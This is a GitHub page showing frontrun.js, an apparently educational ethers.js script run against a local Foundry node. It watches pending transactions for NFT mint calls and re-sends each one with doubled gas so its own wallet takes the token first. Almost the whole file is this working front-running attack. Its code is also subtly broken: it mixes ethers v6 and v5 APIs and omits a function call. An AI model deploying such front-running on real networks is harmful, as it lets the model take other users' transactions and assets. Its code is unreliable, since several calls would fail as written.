-
Notifications
You must be signed in to change notification settings - Fork 60
Expand file tree
/
Copy pathfrontrun.js
More file actions
95 lines (89 loc) · 3.92 KB
/
frontrun.js
File metadata and controls
95 lines (89 loc) · 3.92 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
//1.连接到foundry本地网络
import { ethers } from "ethers";
// V6 版本 const provider = new ethers.JsonRpcProvider('http://127.0.0.1:8545')
const provider = new ethers.JsonRpcProvider("http://127.0.0.1:8545");
let network = provider.getNetwork();
network.then(res =>
console.log(`[${new Date().toLocaleTimeString()}]链接到网络${res.chainId}`),
);
//2.构建contract实例
const contractABI = [
"function mint() public",
"function ownerOf(uint256) public view returns (address) ",
"function totalSupply() view returns (uint256)",
];
const contractAddress = "0xC76A71C4492c11bbaDC841342C4Cb470b5d12193";
const contractFM = new ethers.Contract(contractAddress, contractABI, provider);
//3.创建Interface对象,用于检索mint函数。
const iface = new ethers.Interface(contractABI);
function getSignature(fn) {
return iface.getFunction(fn).selector;
}
//4. 创建测试钱包,用于发送抢跑交易,私钥是foundry测试网提供
const privateKey =
"0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80";
const wallet = new ethers.Wallet(privateKey, provider);
//5. 构建正常mint函数,检验mint结果,显示正常。
const normaltx = async () => {
provider.on("pending", async txHash => {
provider.getTransaction(txHash).then(async tx => {
if (tx.data.indexOf(getSignature("mint")) !== -1) {
console.log(`[${new Date().toLocaleTimeString()}]监听到交易:${txHash}`);
console.log(`铸造发起的地址是:${tx.from}`);
await tx.wait();
const tokenId = await contractFM.totalSupply;
console.log(`mint的NFT编号:${tokenId}`);
console.log(
`编号${tokenId}NFT的持有者是${await contractFM.ownerOf(tokenId)}`,
);
console.log(
`铸造发起的地址是不是对应NFT的持有者:${tx.from === (await contractFM.ownerOf(tokenId))}`,
);
}
});
});
};
//6.构建抢跑交易,检验mint结果,抢跑成功!
const frontRun = async () => {
provider.on("pending", async txHash => {
const tx = await provider.getTransaction(txHash);
if (
tx.data.indexOf(getSignature("mint")) !== -1 &&
tx.from !== wallet.address
) {
console.log(
`[${new Date().toLocaleTimeString()}]监听到交易:${txHash}\n准备抢先交易`,
);
const frontRunTx = {
to: tx.to,
value: tx.value,
// V6版本 maxPriorityFeePerGas: tx.maxPriorityFeePerGas * 2n, 其他运算同理。参考https://docs.ethers.org/v6/migrating/#migrate-bigint
maxPriorityFeePerGas: tx.maxPriorityFeePerGas.mul(2),
maxFeePerGas: tx.maxFeePerGas.mul(2),
gasLimit: tx.gasLimit.mul(2),
data: tx.data,
};
const aimTokenId = (await contractFM.totalSupply()).add(1);
console.log(`即将被mint的NFT编号是:${aimTokenId}`); //打印应该被mint的nft编号
const sentFR = await wallet.sendTransaction(frontRunTx);
console.log(`正在frontrun交易`);
const receipt = await sentFR.wait();
console.log(`frontrun 交易成功,交易hash是:${receipt.transactionHash}`);
console.log(`铸造发起的地址是:${tx.from}`);
console.log(
`编号${aimTokenId}NFT的持有者是${await contractFM.ownerOf(aimTokenId)}`,
); //刚刚mint的nft持有者并不是tx.from
console.log(
`编号${aimTokenId.add(1)}的NFT的持有者是:${await contractFM.ownerOf(aimTokenId.add(1))}`,
); //tx.from被wallet.address抢跑,mint了下一个nft
console.log(
`铸造发起的地址是不是对应NFT的持有者:${tx.from === (await contractFM.ownerOf(aimTokenId))}`,
); //比对地址,tx.from被抢跑
//检验区块内数据结果
const block = await provider.getBlock(tx.blockNumber);
console.log(`区块内交易数据明细:${block.transactions}`); //在区块内,后发交易排在先发交易前,抢跑成功。
}
});
};
// frontRun()
normaltx();